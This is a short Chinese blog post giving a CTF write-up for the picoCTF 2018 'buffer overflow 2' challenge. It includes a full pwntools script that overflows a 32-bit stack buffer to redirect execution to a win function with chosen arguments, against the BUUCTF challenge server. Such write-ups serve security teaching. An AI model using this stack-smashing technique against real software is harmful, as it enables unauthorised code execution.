BUUCTF picoctf_2018_buffer overflow 2

最新推荐文章于 2023-05-20 15:55:21 发布

Nagash1

最新推荐文章于 2023-05-20 15:55:21 发布

阅读量1.4k

点赞数

文章标签：安全

本文链接：https://blog.csdn.net/qq_51821131/article/details/120616601

版权

该博客详细介绍了如何利用32位系统的栈溢出漏洞，通过构造特定的payload，将控制权转移到预设的win函数，从而达到触发flag打印的目的。文中涉及了pwn库的使用和elf文件解析，展示了远程连接并执行payload的过程。

摘要由CSDN通过智能技术生成

picoctf_2018_buffer overflow 2

在这里插入图片描述
检查保护，且为32位

明显栈溢出

找到win函数可以打印flag

整合思路，栈溢出，向win函数传入参数并满足条件即可

from pwn import *
p=remote('node4.buuoj.cn',25086)
#context.terminal = ['tmux', 'splitw', '-h']
elf=ELF('./PicoCTF_2018_buffer_overflow_2')
win=0x080485CB
a1=0xDEADBEEF
a2=0xDEADC0DE

payload=b'a'*(0x6c+4)
payload+=p32(win)
payload+=b'a'*4
payload+=p32(a1)
payload+=p32(a2)
p.sendline(payload)

p.interactive()